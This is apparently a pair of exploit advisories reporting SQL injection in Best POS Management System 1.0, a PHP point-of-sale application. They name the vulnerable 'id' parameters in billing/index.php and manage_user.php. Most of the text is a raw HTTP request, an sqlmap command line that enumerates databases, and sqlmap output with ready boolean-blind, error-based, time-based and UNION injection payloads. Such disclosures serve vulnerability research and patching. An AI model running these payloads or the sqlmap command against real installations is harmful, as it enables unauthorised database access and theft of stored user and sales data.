Best POS Management System 1.0 SQL Injection

# Exploit Title: SQL Injection on Best pos Management System# Google Dork: NA# Date: 14/2/2023# Exploit Author: Ahmed Ismail (@MrOz1l)# Vendor Homepage:https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html# Software Link:https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip# Version: 1.0# Tested on: Windows 11# CVE : NA```GET /kruxton/billing/index.php?id=9 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/109.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeReferer: http://localhost/kruxton/index.php?page=ordersCookie: PHPSESSID=61ubuj4m01jk5tibc7banpldaoUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1```# PayloadGET parameter 'id' is vulnerable. Do you want to keep testing theothers (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 58HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=9 AND 4017=4017    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: id=9 OR (SELECT 7313 FROM(SELECTCOUNT(*),CONCAT(0x7162767171,(SELECT(ELT(7313=7313,1))),0x7178707671,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=9 AND (SELECT 5871 FROM (SELECT(SLEEP(5)))rwMY)    Type: UNION query    Title: Generic UNION query (NULL) - 6 columns    Payload: id=-9498 UNION ALL SELECTNULL,NULL,NULL,NULL,CONCAT(0x7162767171,0x53586b446c4c75556d48544175547856636d696171464e624c6572736f55415246446a4b56777749,0x7178707671),NULL------[19:33:33] [INFO] the back-end DBMS is MySQLweb application technology: PHP 8.0.25, Apache 2.4.54back-end DBMS: MySQL >= 5.0 (MariaDB fork)```----------------------------# Exploit Title: SQL Injection on Best pos Management System# Google Dork: NA# Date: 17/2/2023# Exploit Author: Ahmed Ismail (@MrOz1l)# Vendor Homepage:https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html# Software Link:https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip# Version: 1.0# Tested on: Windows 11# CVE : NA_________python sqlmap.py -u "http://localhost/kruxton/manage_user.php?id=4*"--dbms=mysql --level 3 --risk 3 --dbs --fresh-queriesURI parameter '#1*' is vulnerable. Do you want to keep testing theothers (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 52HTTP(s) requests:---Parameter: #1* (URI)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: http://localhost:80/kruxton/manage_user.php?id=4<http://localhost/kruxton/manage_user.php?id=4> AND 6332=6332    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: http://localhost:80/kruxton/manage_user.php?id=4<http://localhost/kruxton/manage_user.php?id=4> OR (SELECT 6586FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT(ELT(6586=6586,1))),0x7170787871,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: http://localhost:80/kruxton/manage_user.php?id=4<http://localhost/kruxton/manage_user.php?id=4> AND (SELECT 3605 FROM(SELECT(SLEEP(5)))zHgC)    Type: UNION query    Title: Generic UNION query (NULL) - 5 columns    Payload: http://localhost:80/kruxton/manage_user.php?id=-1830<http://localhost/kruxton/manage_user.php?id=-1830> UNION ALL SELECTNULL,NULL,CONCAT(0x716a6b6a71,0x4b5276534542756c4e596a4f7377506a73517a73544b4e44737946636674736c526c775277594976,0x7170787871),NULL,NULL------[10:58:18] [INFO] the back-end DBMS is MySQLweb application technology: PHP, Apache 2.4.54, PHP 8.0.25back-end DBMS: MySQL >= 5.0 (MariaDB fork)